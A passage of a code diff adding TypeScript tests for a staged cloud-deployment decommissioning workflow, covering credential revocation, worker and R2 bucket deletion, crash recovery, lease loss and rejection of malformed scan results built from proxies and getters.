+    symbolResult[Symbol('hostile')] = true;
+    const cyclicResult: Record<string, unknown> = { status: 'drift' };
+    cyclicResult.self = cyclicResult;
+    const transparentResult = new Proxy({ status: 'drift' as const }, {});
+    let revokeResult!: () => void;
+    const revokedResult = Proxy.revocable(
+      { status: 'drift' as const },
+      {
+        ownKeys(target) {
+          const keys = Reflect.ownKeys(target);
+          revokeResult();
+          return keys;
+        },
+      },
+    );
+    revokeResult = revokedResult.revoke;
+    const hostileRows = [
+      {
+        label: 'top-level accessor',
+        row: topLevelAccessor,
+        reads: () => topLevelGetterReads,
+        expectedReads: 0,
+      },
+      {
+        label: 'top-level proxy',
+        row: hostileProxy,
+        reads: () => proxyTrapCalls,
+        expectedReads: 1,
+      },
+      {
+        label: 'transparent proxy',
+        row: transparentResult,
+        reads: () => 0,
+        expectedReads: 0,
+      },
+      {
+        label: 'revoked proxy',
+        row: revokedResult.proxy,
+        reads: () => 0,
+        expectedReads: 0,
+      },
+      {
+        label: 'nested accessor',
+        row: {
+          status: 'attached',
+          attachment: nestedAccessor,
+          providerFetchAttemptsReserved: 3,
+        },
+        reads: () => nestedGetterReads,
+        expectedReads: 0,
+      },
+      {
+        label: 'alternating scriptName accessor',
+        row: {
+          status: 'attached',
+          attachment: alternatingAttachment,
+          providerFetchAttemptsReserved: 3,
+        },
+        reads: () => alternatingScriptNameReads,
+        expectedReads: 0,
+      },
+      {
+        label: 'symbol key',
+        row: symbolResult,
+        reads: () => 0,
+        expectedReads: 0,
+      },
+      {
+        label: 'cycle',
+        row: cyclicResult,
+        reads: () => 0,
+        expectedReads: 0,
+      },
+      {
+        label: 'scalar bound',
+        row: { status: 'drift', extra: 'x'.repeat(96 * 1_024) },
+        reads: () => 0,
+        expectedReads: 0,
+      },
+      {
+        label: 'node bound',
+        row: {
+          status: 'drift',
+          extra: Array.from({ length: 8_192 }, () => null),
+        },
+        reads: () => 0,
+        expectedReads: 0,
+      },
+    ] as const;
+    for (const row of hostileRows) {
+      hostile.backend.scanResults.push(row.row as never);
+      const before = JSON.stringify(hostile.store.record);
+      const writes = hostile.store.phases.length;
+      const failure = await continueBoundedDecommission(
+        hostile,
+        hostileDiscover,
+      ).catch((error: unknown) => error);
+      expect(failure, row.label).toMatchObject({
+        name: 'Error',
+        message: 'bounded decommission attachment result is malformed',
+      });
+      expect(row.reads(), row.label).toBe(row.expectedReads);
+      expect(hostile.store.phases, row.label).toHaveLength(writes);
+      expect(JSON.stringify(hostile.store.record), row.label).toBe(before);
+    }
+
+    const progressBoundary = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+    });
+    const progressBoundaryDiscover = await driveBoundedUntil(
+      progressBoundary,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const progressBoundaryIntent =
+      progressBoundary.store.record?.decommissionIntent;
+    if (progressBoundaryIntent?.state !== 'discover') {
+      throw new Error('missing boundary discover progress');
+    }
+    const digest = (value: string) =>
+      createHash('sha256').update(value).digest('hex');
+    const pageStartCursor = 'p'.repeat(4_096);
+    const nextCursor = 'n'.repeat(4_096);
+    const seenCursorSha256 = [
+      ...Array.from({ length: 97 }, (_, index) => digest(`cursor-${index}`)),
+      digest(pageStartCursor),
+      digest(nextCursor),
+    ];
+    const legalBoundaryProgress = {
+      version: 1,
+      target: progressBoundaryIntent.progress.target,
+      evidenceSha256: 'a'.repeat(64),
+      evidenceCount: 1_000_000,
+      stage: 'dispatch-script-settings',
+      ordinaryInventorySha256: 'b'.repeat(64),
+      namespaceInventorySha256: 'c'.repeat(64),
+      namespaceIndex: 0,
+      namespaceName: 'm'.repeat(4_096),
+      pageStartCursor,
+      nextCursor,
+      pageSha256: 'd'.repeat(64),
+      pageItemCount: 1,
+      itemOffset: 0,
+      pageNumber: 98,
+      seenCursorSha256,
+      totalDispatchItems: 10_000,
+      dispatchEvidenceSum256: 'e'.repeat(64),
+      dispatchEvidenceCount: 9_999,
+    } as const;
+    progressBoundary.backend.scanResults.push({
+      status: 'pending',
+      progress: legalBoundaryProgress,
+      providerFetchAttemptsReserved: 12,
+    });
+    const progressBoundaryPending = await continueBoundedDecommission(
+      progressBoundary,
+      progressBoundaryDiscover,
+    );
+    expect(progressBoundaryPending).toMatchObject({ status: 'pending' });
+    expect(progressBoundary.store.record?.decommissionIntent).toMatchObject({
+      state: 'discover',
+      progress: legalBoundaryProgress,
+    });
+    progressBoundary.backend.scanResults.push({
+      status: 'complete',
+      evidenceSha256: 'f'.repeat(64),
+      evidenceCount: 1_000_000,
+      providerFetchAttemptsReserved: 3,
+    });
+    await expect(
+      continueBoundedDecommission(progressBoundary, progressBoundaryPending),
+    ).resolves.toMatchObject({ status: 'pending' });
+    expect(progressBoundary.store.record?.decommissionIntent).toMatchObject({
+      state: 'verify',
+      discoverEvidence: {
+        evidenceSha256: 'f'.repeat(64),
+        evidenceCount: 1_000_000,
+      },
+    });
+
+    const boundary = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const boundaryDiscover = await driveBoundedUntil(
+      boundary,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    boundary.backend.scanResults.push({
+      status: 'attached',
+      attachment: {
+        plane: 'ordinary',
+        scriptName: 'x'.repeat(4_096),
+        token: 'must-not-persist',
+      } as never,
+      providerFetchAttemptsReserved: 3,
+      token: 'must-not-persist',
+    } as never);
+    await expect(
+      continueBoundedDecommission(boundary, boundaryDiscover),
+    ).resolves.toMatchObject({
+      status: 'blocked',
+      attachment: { plane: 'ordinary', scriptName: 'x'.repeat(4_096) },
+    });
+    expect(
+      JSON.stringify(boundary.store.record?.decommissionIntent),
+    ).not.toContain('must-not-persist');
+  });
+
+  it('lease contention and loss fence scan consumption and destructive actions', async () => {
+    const contended = await boundedDecommissionHarness();
+    contended.store.leased = true;
+    await expect(startBoundedDecommission(contended)).rejects.toThrow(
+      /already being modified/u,
+    );
+    contended.store.leased = false;
+
+    const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const discover = await driveBoundedUntil(
+      harness,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const verify = await continueBoundedDecommission(harness, discover);
+    const lost = new Error('lease lost before detach');
+    harness.store.assertOwnedFailure = lost;
+    await expect(continueBoundedDecommission(harness, verify)).rejects.toBe(
+      lost,
+    );
+    expect(harness.store.record?.decommissionIntent?.state).toBe('verify');
+    expect(harness.store.record?.applicationResources?.[0]?.state).toBe(
+      'detach-authorized',
+    );
+    harness.store.assertOwnedFailure = undefined;
+    await continueBoundedDecommission(harness, verify);
+    expect(harness.backend.scanInputs.length).toBeGreaterThanOrEqual(2);
+  });
+
+  it('executes one lifecycle group per call through application resource deletion', async () => {
+    const harness = await boundedDecommissionHarness();
+    let result = await startBoundedDecommission(harness);
+    const expected = [
+      {
+        lifecyclePhase: 'decommissioning',
+        events: [],
+        databaseReads: 0,
+        removeTraffic: 0,
+        assertTraffic: 0,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'traffic-removed',
+        events: [],
+        databaseReads: 1,
+        removeTraffic: 1,
+        assertTraffic: 1,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'credentials-revoked',
+        events: ['revoke'],
+        databaseReads: 1,
+        removeTraffic: 0,
+        assertTraffic: 1,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'worker-deleted',
+        events: ['delete-worker'],
+        databaseReads: 1,
+        removeTraffic: 0,
+        assertTraffic: 0,
+        residuals: 1,
+      },
+      {
+        lifecyclePhase: 'platform-credentials-revoked',
+        events: [],
+        databaseReads: 0,
+        removeTraffic: 0,
+        assertTraffic: 0,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'platform-resources-deleted',
+        events: [],
+        databaseReads: 0,
+        removeTraffic: 0,
+        assertTraffic: 0,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'application-resources-deleting',
+        events: [],
+        databaseReads: 0,
+        removeTraffic: 0,
+        assertTraffic: 0,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'application-resources-deleted',
+        events: [],
+        databaseReads: 0,
+        removeTraffic: 0,
+        assertTraffic: 0,
+        residuals: 0,
+      },
+    ] as const;
+    for (const step of expected) {
+      const eventCount = harness.backend.events.length;
+      const databaseReads = harness.backend.databaseIdsRead.length;
+      const removeTraffic = harness.backend.removeTrafficCalls;
+      const assertTraffic = harness.backend.assertTrafficRemovedCalls;
+      const residuals = harness.backend.residualCalls;
+      const writes = harness.store.phases.length;
+      result = await continueBoundedDecommission(harness, result);
+      expect(harness.store.record?.decommissionIntent?.lifecyclePhase).toBe(
+        step.lifecyclePhase,
+      );
+      expect(harness.backend.events.slice(eventCount)).toEqual(step.events);
+      expect(harness.backend.databaseIdsRead.length - databaseReads).toBe(
+        step.databaseReads,
+      );
+      expect(harness.backend.removeTrafficCalls - removeTraffic).toBe(
+        step.removeTraffic,
+      );
+      expect(harness.backend.assertTrafficRemovedCalls - assertTraffic).toBe(
+        step.assertTraffic,
+      );
+      expect(harness.backend.residualCalls - residuals).toBe(step.residuals);
+      expect(harness.store.phases).toHaveLength(writes + 1);
+      expect(harness.store.phases.at(-1)).toBe('decommission-advancing');
+    }
+    expect(result.status).toBe('pending');
+    expect(harness.backend.events).not.toContain('export');
+    expect(harness.backend.events).not.toContain('delete-database');
+
+    const platform = await boundedDecommissionHarness({
+      kind: 'workers-for-platforms',
+      external: true,
+    });
+    expect(platform.store.record?.platformResources).toBeDefined();
+    const platformTrace: string[] = [];
+    const getDatabaseImplementation = platform.backend.getDatabase.bind(
+      platform.backend,
+    );
+    const revokePlatformImplementation =
+      platform.backend.revokePlatformResourceCredentials.bind(platform.backend);
+    const deletePlatformImplementation =
+      platform.backend.deletePlatformResources.bind(platform.backend);
+    const residualImplementation =
+      platform.backend.assertDatabaseDeletionResidualsRemoved.bind(
+        platform.backend,
+      );
+    const putImplementation = platform.store.put.bind(platform.store);
+    Object.defineProperties(platform.backend, {
+      getDatabase: {
+        configurable: true,
+        value: async (databaseId: string) => {
+          platformTrace.push('d1-read');
+          return getDatabaseImplementation(databaseId);
+        },
+      },
+      revokePlatformResourceCredentials: {
+        configurable: true,
+        value: async () => {
+          platformTrace.push('revoke-platform');
+          await revokePlatformImplementation();
+        },
+      },
+      deletePlatformResources: {
+        configurable: true,
+        value: async (deployment: DeploymentSpec, record: FleetRecord) => {
+          platformTrace.push('delete-platform');
+          await deletePlatformImplementation(deployment, record);
+        },
+      },
+      assertDatabaseDeletionResidualsRemoved: {
+        configurable: true,
+        value: async () => {
+          platformTrace.push('residual');
+          await residualImplementation();
+        },
+      },
+    });
+    Object.defineProperty(platform.store, 'put', {
+      configurable: true,
+      value: async (record: FleetRecord) => {
+        platformTrace.push('write');
+        await putImplementation(record);
+      },
+    });
+    let platformResult = await startBoundedDecommission(platform);
+    const platformExpected = [
+      {
+        lifecyclePhase: 'decommissioning',
+        events: [],
+        databaseReads: 0,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'traffic-removed',
+        events: [],
+        databaseReads: 1,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'credentials-revoked',
+        events: ['revoke'],
+        databaseReads: 1,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'worker-deleted',
+        events: ['delete-worker'],
+        databaseReads: 1,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'platform-credentials-revoked',
+        events: ['revoke-platform'],
+        databaseReads: 1,
+        residuals: 0,
+      },
+      {
+        lifecyclePhase: 'platform-resources-deleted',
+        events: ['delete-platform'],
+        databaseReads: 1,
+        residuals: 1,
+      },
+    ] as const;
+    for (const step of platformExpected) {
+      const eventCount = platform.backend.events.length;
+      const databaseReads = platform.backend.databaseIdsRead.length;
+      const residuals = platform.backend.residualCalls;
+      const writes = platform.store.phases.length;
+      const traceStart = platformTrace.length;
+      platformResult = await continueBoundedDecommission(
+        platform,
+        platformResult,
+      );
+      expect(platform.store.record?.decommissionIntent?.lifecyclePhase).toBe(
+        step.lifecyclePhase,
+      );
+      expect(platform.backend.events.slice(eventCount)).toEqual(step.events);
+      expect(platform.backend.databaseIdsRead.length - databaseReads).toBe(
+        step.databaseReads,
+      );
+      expect(platform.backend.residualCalls - residuals).toBe(step.residuals);
+      expect(platform.store.phases).toHaveLength(writes + 1);
+      expect(platform.store.phases.at(-1)).toBe('decommission-advancing');
+      if (step.lifecyclePhase === 'platform-credentials-revoked') {
+        expect(platformTrace.slice(traceStart)).toEqual([
+          'd1-read',
+          'revoke-platform',
+          'write',
+        ]);
+      }
+      if (step.lifecyclePhase === 'platform-resources-deleted') {
+        expect(platformTrace.slice(traceStart)).toEqual([
+          'd1-read',
+          'delete-platform',
+          'residual',
+          'write',
+        ]);
+      }
+    }
+    expect(platform.backend.events).toEqual([
+      'revoke',
+      'delete-worker',
+      'revoke-platform',
+      'delete-platform',
+    ]);
+    expect(platform.backend.databaseIdsRead).toEqual([
+      DATABASE_ID,
+      DATABASE_ID,
+      DATABASE_ID,
+      DATABASE_ID,
+      DATABASE_ID,
+    ]);
+    expect(platform.backend.residualCalls).toBe(1);
+
+    for (const drift of ['absent', 'name', 'owner'] as const) {
+      const exact = await boundedDecommissionHarness();
+      const decommissioning = await driveBoundedUntil(
+        exact,
+        (record) =>
+          record.decommissionIntent?.lifecyclePhase === 'decommissioning',
+      );
+      if (drift === 'absent') exact.backend.databaseExists = false;
+      if (drift === 'name') exact.backend.databaseName = 'wrong-name';
+      if (drift === 'owner') exact.backend.databaseOwner = 'other-owner';
+      const before = exact.store.record;
+      await expect(
+        continueBoundedDecommission(exact, decommissioning),
+      ).rejects.toThrow(/absent|unexpected identity|owned by/u);
+      expect(exact.store.record).toBe(before);
+      expect(exact.backend.removeTrafficCalls).toBe(0);
+    }
+
+    for (const lifecyclePhase of [
+      'worker-deleted',
+      'platform-credentials-revoked',
+    ] as const) {
+      for (const drift of ['absent', 'name', 'owner'] as const) {
+        const exact = await boundedDecommissionHarness({
+          kind: 'workers-for-platforms',
+          external: true,
+        });
+        await driveBoundedUntil(
+          exact,
+          (record) =>
+            record.decommissionIntent?.lifecyclePhase === lifecyclePhase,
+        );
+        if (drift === 'absent') exact.backend.databaseExists = false;
+        if (drift === 'name') exact.backend.databaseName = 'wrong-name';
+        if (drift === 'owner') exact.backend.databaseOwner = 'other-owner';
+        const authoritative = await startBoundedDecommission(exact);
+        const before = exact.store.record;
+        const eventCount = exact.backend.events.length;
+        await expect(
+          continueBoundedDecommission(exact, authoritative),
+        ).rejects.toThrow(/absent|unexpected identity|owned by/u);
+        expect(exact.store.record).toBe(before);
+        expect(exact.backend.events).toHaveLength(eventCount);
+      }
+    }
+  });
+
+  it('starts exact created and detach-authorized live R2 targets', async () => {
+    const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    const discover = await driveBoundedUntil(
+      harness,
+      (record) => record.decommissionIntent?.state === 'discover',
+    );
+    const intent = harness.store.record?.decommissionIntent;
+    const resource = harness.store.record?.applicationResources?.[0];
+    expect(intent).toMatchObject({
+      state: 'discover',
+      purpose: {
+        kind: 'application-r2-detach',
+        resourceIndex: 0,
+        name: resource?.name,
+        bucketName: resource?.bucketName,
+        reservationNonce: resource?.reservationNonce,
+      },
+    });
+    expect(discover.status).toBe('pending');
+
+    if (!resource) throw new Error('missing R2 resource');
+    const mutated = {
+      ...resource,
+      reservationNonce: 'z'.repeat(32),
+    };
+    const invalid = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    invalid.store.record = {
+      ...(invalid.store.record as FleetRecord),
+      applicationResources: [mutated],
+    };
+    const reads = invalid.backend.r2FindCalls;
+    await expect(startBoundedDecommission(invalid)).rejects.toThrow(
+      /reservation nonce/u,
+    );
+    expect(invalid.backend.r2FindCalls).toBe(reads);
+
+    const postTraffic = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+    });
+    const trafficRemoved = await driveBoundedUntil(
+      postTraffic,
+      (record) =>
+        record.decommissionIntent?.lifecyclePhase === 'traffic-removed',
+    );
+    const postTrafficResource =
+      postTraffic.store.record?.applicationResources?.[0];
+    if (!postTrafficResource) {
+      throw new Error('missing post-traffic R2 resource');
+    }
+    postTraffic.store.record = {
+      ...(postTraffic.store.record as FleetRecord),
+      applicationResources: [
+        { ...postTrafficResource, reservationNonce: 'z'.repeat(32) },
+      ],
+    };
+    const trafficReads = postTraffic.backend.assertTrafficRemovedCalls;
+    await expect(
+      continueBoundedDecommission(postTraffic, trafficRemoved),
+    ).rejects.toThrow(/reservation nonce/u);
+    expect(postTraffic.backend.assertTrafficRemovedCalls).toBe(trafficReads);
+  });
+
+  it('advances detached to empty-authorized and empty-authorized to empty one step each', async () => {
+    const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    let result = await driveBoundedUntil(
+      harness,
+      (record) => record.applicationResources?.[0]?.state === 'detached',
+    );
+    result = await continueBoundedDecommission(harness, result);
+    expect(harness.store.record?.applicationResources?.[0]?.state).toBe(
+      'empty-authorized',
+    );
+    harness.backend.nonempty = true;
+    const snapshot = harness.store.record;
+    await expect(continueBoundedDecommission(harness, result)).rejects.toThrow(
+      /not empty/u,
+    );
+    expect(harness.store.record).toBe(snapshot);
+    harness.backend.nonempty = false;
+    await continueBoundedDecommission(harness, result);
+    expect(harness.store.record?.applicationResources?.[0]?.state).toBe(
+      'empty',
+    );
+  });
+
+  it('persists empty to delete-authorized before physical deletion', async () => {
+    const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] });
+    let result = await driveBoundedUntil(
+      harness,
+      (record) => record.applicationResources?.[0]?.state === 'empty',
+    );
+    const calls = harness.backend.deleteCalls;
+    result = await continueBoundedDecommission(harness, result);
+    expect(harness.store.record?.applicationResources?.[0]?.state).toBe(
+      'delete-authorized',
+    );
+    expect(harness.backend.deleteCalls).toBe(calls);
+    await continueBoundedDecommission(harness, result);
+    expect(harness.backend.deleteCalls).toBe(calls + 1);
+  });
+
+  it('reconciles lost delete responses and deleted writes without duplicate mutation', async () => {
+    const beforeCommit = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+    });
+    const authorized = await driveBoundedUntil(
+      beforeCommit,
+      (record) =>
+        record.applicationResources?.[0]?.state === 'delete-authorized',
+    );
+    const sentinel = new Error('delete failed before commit');
+    beforeCommit.backend.deleteFailureBeforeCommit = sentinel;
+    await expect(
+      continueBoundedDecommission(beforeCommit, authorized),
+    ).rejects.toBe(sentinel);
+    expect(beforeCommit.store.record?.applicationResources?.[0]?.state).toBe(
+      'delete-authorized',
+    );
+
+    const precommitStore = new MemoryStore();
+    const precommitWrite = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+      store: precommitStore,
+    });
+    const precommitAuthorized = await driveBoundedUntil(
+      precommitWrite,
+      (record) =>
+        record.applicationResources?.[0]?.state === 'delete-authorized',
+    );
+    precommitStore.failPutApplicationState = {
+      name: 'FILES',
+      state: 'deleted',
+    };
+    const successfulDeletes = precommitWrite.backend.deleteCalls;
+    await expect(
+      continueBoundedDecommission(precommitWrite, precommitAuthorized),
+    ).rejects.toThrow('failed state write at FILES:deleted');
+    expect(precommitWrite.backend.deleteCalls).toBe(successfulDeletes + 1);
+    expect(precommitWrite.store.record?.applicationResources?.[0]?.state).toBe(
+      'delete-authorized',
+    );
+    await continueBoundedDecommission(precommitWrite, precommitAuthorized);
+    expect(precommitWrite.backend.deleteCalls).toBe(successfulDeletes + 1);
+    expect(precommitWrite.store.record?.applicationResources?.[0]?.state).toBe(
+      'deleted',
+    );
+
+    const afterCommit = await boundedDecommissionHarness({
+      r2Names: ['FILES'],
+      store: new CommitThenThrowStore(),
+    });
+    const deleteToken = await driveBoundedUntil(
+      afterCommit,
+      (record) =>
+        record.applicationResources?.[0]?.state === 'delete-authorized',
+    );
+    afterCommit.backend.deleteFailureAfterCommit = new Error(
+      'delete response lost',
+    );
+    (
+      afterCommit.store as CommitThenThrowStore
+    ).failAfterCommittedApplicationState = {
+      name: 'FILES',
+      state: 'deleted',
+    };
+    await expect(
+      continueBoundedDecommission(afterCommit, deleteToken),
+    ).rejects.toThrow(/response was lost/u);
+    expect(afterCommit.store.record?.applicationResources?.[0]?.state).toBe(
+      'deleted',
+    );
+    expect(afterCommit.backend.deleteCalls).toBe(1);
+    const replayed = await continueBoundedDecommission(
+      afterCommit,
+      deleteToken,
+    );
+    await expect(
+      continueBoundedDecommission(afterCommit, deleteToken),
+    ).resolves.toEqual(replayed);
+    expect(afterCommit.backend.deleteCalls).toBe(1);
+  });
+
+  it('orders two resources without rewind and selects authority at the D1 boundary', async () => {
+    const harness = await boundedDecommissionHarness({
+      r2Names: ['ARCHIVE', 'FILES'],
+    });
+    let result = await startBoundedDecommission(harness);
+    for (let step = 0; step < 64; step += 1) {
+      const resources = harness.store.record?.applicationResources ?? [];
+      if (
+        resources[0]?.state === 'deleted' &&
+        resources[1]?.state !== 'deleted'
+      ) {
+        const first = resources[0];
+        harness.backend.buckets.set(first.bucketName, {
+          name: first.name,
+          bucketName: first.bucketName,
+          jurisdiction: first.jurisdiction,
+          creationDate: first.creationDate as string,
+        });
+        let authoritative: DecommissionAdvanceResult | undefined;
+        let refusal: unknown;
+        try {
+          authoritative = await continueBoundedDecommission(harness, result);
+        } catch (error) {
+          refusal = error;
+        }
+        if (refusal !== undefined) {
+          expect(refusal).toMatchObject({
+            message: expect.stringMatching(/reappeared/u),
+          });
+        } else {
+          if (!authoritative) throw new Error('missing authoritative token');
+          await expect(
+            continueBoundedDecommission(harness, authoritative),
+          ).rejects.toThrow(/reappeared/u);
+          result = authoritative;
+        }
+        harness.backend.buckets.delete(first.bucketName);
+      }
+      if (
+        harness.store.record?.decommissionIntent?.lifecyclePhase ===
+        'application-resources-deleted'
+      ) {
+        break;
+      }
+      result = await continueBoundedDecommission(harness, result);
+    }
+    expect(
+      harness.store.record?.applicationResources?.map(({ state }) => state),
+    ).toEqual(['deleted', 'deleted']);
+    expect(harness.store.record?.decommissionIntent?.generation).toBe(2);
+    const scans = harness.backend.scanInputs.length;
+    const selected = await continueBoundedDecommission(harness, result);
+    expect(selected.token.revision).toBe(result.token.revision + 1);
+    expect(harness.store.record?.decommissionIntent).toMatchObject({
+      state: 'discover',
+      purpose: { kind: 'database-pre-export' },
+      databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+    });
+    expect(harness.backend.scanInputs).toHaveLength(scans);
+
+    for (const mode of [
+      'discover',
+      'verify',
+      'pending',
+      'drift',
+      'attached',
+    ] as const) {
+      const prefixed = await boundedDecommissionHarness({
+        r2Names: ['ARCHIVE', 'FILES'],
+      });
+      let current = await driveBoundedUntil(
+        prefixed,
+        (record) =>
+          record.decommissionIntent?.state === 'discover' &&
+          record.decommissionIntent.purpose.kind === 'application-r2-detach' &&
+          record.decommissionIntent.purpose.resourceIndex === 1,
+      );
+      const scanIntent = prefixed.store.record?.decommissionIntent;
+      if (scanIntent?.state !== 'discover') {
+        throw new Error('missing second-resource discover state');
+      }
+      if (mode === 'verify') {
+        current = await continueBoundedDecommission(prefixed, current);
+      } else if (mode === 'pending') {
+        prefixed.backend.scanResults.push({
+          status: 'pending',
+          progress: scanIntent.progress,
+          providerFetchAttemptsReserved: 3,
+        });
+        current = await continueBoundedDecommission(prefixed, current);
+      } else if (mode === 'drift') {
+        prefixed.backend.scanResults.push({ status: 'drift' });
+      } else if (mode === 'attached') {
+        prefixed.backend.scanResults.push({
+          status: 'attached',
+          attachment: { plane: 'ordinary', scriptName: 'consumer' },
+          providerFetchAttemptsReserved: 3,
+        });
+      }
+      const deleted = prefixed.store.record?.applicationResources?.[0];
+      if (!deleted?.creationDate) {
+        throw new Error('missing first-resource deletion identity');
+      }
+      prefixed.backend.buckets.set(deleted.bucketName, {
+        name: deleted.name,
+        bucketName: deleted.bucketName,
+        jurisdiction: deleted.jurisdiction,
+        creationDate: deleted.creationDate,
+      });
+      const snapshot = prefixed.store.record;
+      const scanCount = prefixed.backend.scanInputs.length;
+      const findCount = prefixed.backend.r2FindNames.length;
+      const writeCount = prefixed.store.phases.length;
+      await expect(
+        continueBoundedDecommission(prefixed, current),
+        mode,
+      ).rejects.toThrow(/reappeared after deletion/u);
+      expect(prefixed.store.record, mode).toBe(snapshot);
+      expect(prefixed.backend.scanInputs, mode).toHaveLength(scanCount);
+      expect(prefixed.store.phases, mode).toHaveLength(writeCount);
+      expect(prefixed.backend.r2FindNames.slice(findCount), mode).toEqual([
+        'ARCHIVE',
+      ]);
+    }
+
+    for (const state of ['reserved', 'create-authorized'] as const) {
+      for (const mode of ['discover', 'verify', 'restart'] as const) {
+        const hostile = await boundedDecommissionHarness({
+          r2Names: ['ARCHIVE', 'FILES'],
+        });
+        let current = await driveBoundedUntil(
+          hostile,
+          (record) =>
+            record.decommissionIntent?.state === 'discover' &&
+            record.decommissionIntent.purpose.kind ===
+              'application-r2-detach' &&
+            record.decommissionIntent.purpose.resourceIndex === 1,
+        );
+        if (mode === 'verify') {
+          current = await continueBoundedDecommission(hostile, current);
+        } else if (mode === 'restart') {
+          hostile.backend.scanResults.push({
+            status: 'attached',
+            attachment: { plane: 'ordinary', scriptName: 'consumer' },
+            providerFetchAttemptsReserved: 3,
+          });
+          current = await continueBoundedDecommission(hostile, current);
+          expect(current.status).toBe('blocked');
+        }
+        const resources = hostile.store.record?.applicationResources;
+        const prefix = resources?.[0];
+        if (!prefix || !resources?.[1]) {
+          throw new Error('missing hostile prefix resources');
+        }
+        const { creationDate: _creationDate, ...reservation } = prefix;
+        hostile.store.record = {
+          ...(hostile.store.record as FleetRecord),
+          applicationResources: [
+            { ...reservation, state },
+            ...resources.slice(1),
+          ],
+        };
+        const findImplementation = hostile.backend.findApplicationR2Bucket;
+        const scanImplementation =
+          hostile.backend.advanceDecommissionAttachmentScan;
+        let findReads = 0;
+        let scanReads = 0;
+        Object.defineProperties(hostile.backend, {
+          findApplicationR2Bucket: {
+            configurable: true,
+            get() {
+              findReads += 1;
+              return findImplementation;
+            },
+          },
+          advanceDecommissionAttachmentScan: {
+            configurable: true,
+            get() {
+              scanReads += 1;
+              return scanImplementation;
+            },
+          },
+        });
+        const before = JSON.stringify(hostile.store.record);
+        const findCalls = hostile.backend.r2FindCalls;
+        const scanCalls = hostile.backend.scanInputs.length;
+        const emptyCalls = hostile.backend.emptyChecks;
+        const deleteCalls = hostile.backend.deleteCalls;
+        const writes = hostile.store.phases.length;
+        const events = [...hostile.backend.events];
+        const attempt =
+          mode === 'restart'
+            ? advanceDecommissionDeployment(
+                boundedAdvanceOptions(hostile, {
+                  kind: 'restart-blocked',
+                  token: current.token,
+                }),
+              )
+            : continueBoundedDecommission(hostile, current);
+        await expect(attempt, `${state}:${mode}`).rejects.toThrow(
+          'normal decommission cannot consume incomplete application R2 reservation',
+        );
+        expect(JSON.stringify(hostile.store.record), `${state}:${mode}`).toBe(
+          before,
+        );
+        expect(findReads, `${state}:${mode}:find getter`).toBe(0);
+        expect(scanReads, `${state}:${mode}:scan getter`).toBe(0);
+        expect(hostile.backend.r2FindCalls, `${state}:${mode}`).toBe(findCalls);
+        expect(hostile.backend.scanInputs, `${state}:${mode}`).toHaveLength(
+          scanCalls,
+        );
+        expect(hostile.backend.emptyChecks, `${state}:${mode}`).toBe(
+          emptyCalls,
+        );
+        expect(hostile.backend.deleteCalls, `${state}:${mode}`).toBe(
+          deleteCalls,
+        );
+        expect(hostile.store.phases, `${state}:${mode}`).toHaveLength(writes);
+        expect(hostile.backend.events, `${state}:${mode}`).toEqual(events);
+      }
+    }
+  });
+
+  it('selects one immutable receipt authority before bounded D1 work', async () => {
+    const startedHarness = await boundedDecommissionHarness();
+    const started = await startBoundedDecommission(startedHarness);
+    expect(startedHarness.store.record?.decommissionIntent).not.toHaveProperty(
+      'databaseExportReceiptAuthority',
+    );
+    expect(startedHarness.backend.receiptCalls).toEqual([]);
+
+    let boundary = started;
+    for (let step = 0; step < 16; step += 1) {
+      if (
+        startedHarness.store.record?.decommissionIntent?.lifecyclePhase ===
+        'application-resources-deleted'
+      ) {
+        break;
+      }
+      boundary = await continueBoundedDecommission(startedHarness, boundary);
+      expect(
+        startedHarness.store.record?.decommissionIntent,
+      ).not.toHaveProperty('databaseExportReceiptAuthority');
+    }
+    const beforeSelection = startedHarness.store.record;
+    const selected = await continueBoundedDecommission(
+      startedHarness,
+      boundary,
+    );
+    expect(startedHarness.store.record).toMatchObject({
+      phase: 'decommission-advancing',
+      decommissionIntent: {
+        revision: (beforeSelection?.decommissionIntent?.revision as number) + 1,
+        generation:
+          (beforeSelection?.decommissionIntent?.generation as number) + 1,
+        databaseExportReceiptAuthority: RECEIPT_AUTHORITY,
+        lifecyclePhase: 'application-resources-deleted',
+        state: 'discover',
+        purpose: { kind: 'database-pre-export', databaseId: DATABASE_ID },
+      },
+    });
+    expect(selected).toMatchObject({ status: 'pending' });
+
+    for (const row of [
+      {
+        label: 'absent pair',
+        authority: undefined,
+        method: undefined,
+        message: 'backend cannot write idempotent database export receipts',
+      },
+      {
+        label: 'authority only',
+        authority: RECEIPT_AUTHORITY,
+        method: undefined,
+        message: 'database export receipt capability is malformed',
+      },
+      {
+        label: 'method only',
+        authority: undefined,
+        method: async () => ({}),
+        message: 'database export receipt capability is malformed',
+      },
+      {
+        label: 'non-callable',
+        authority: RECEIPT_AUTHORITY,
+        method: 1,
+        message: 'database export receipt capability is malformed',
+      },
+      {
+        label: 'empty authority',
+        authority: '',
+        method: async () => ({}),
+        message: 'database export receipt capability is malformed',
+      },
+      {
+        label: 'over-bound authority',
+        authority: 'x'.repeat(4_097),
+        method: async () => ({}),
+        message: 'database export receipt capability is malformed',
+      },
+    ] as const) {
+      const harness = await boundedDecommissionHarness();
+      const backend = new Proxy(harness.backend, {
+        get(target, property) {
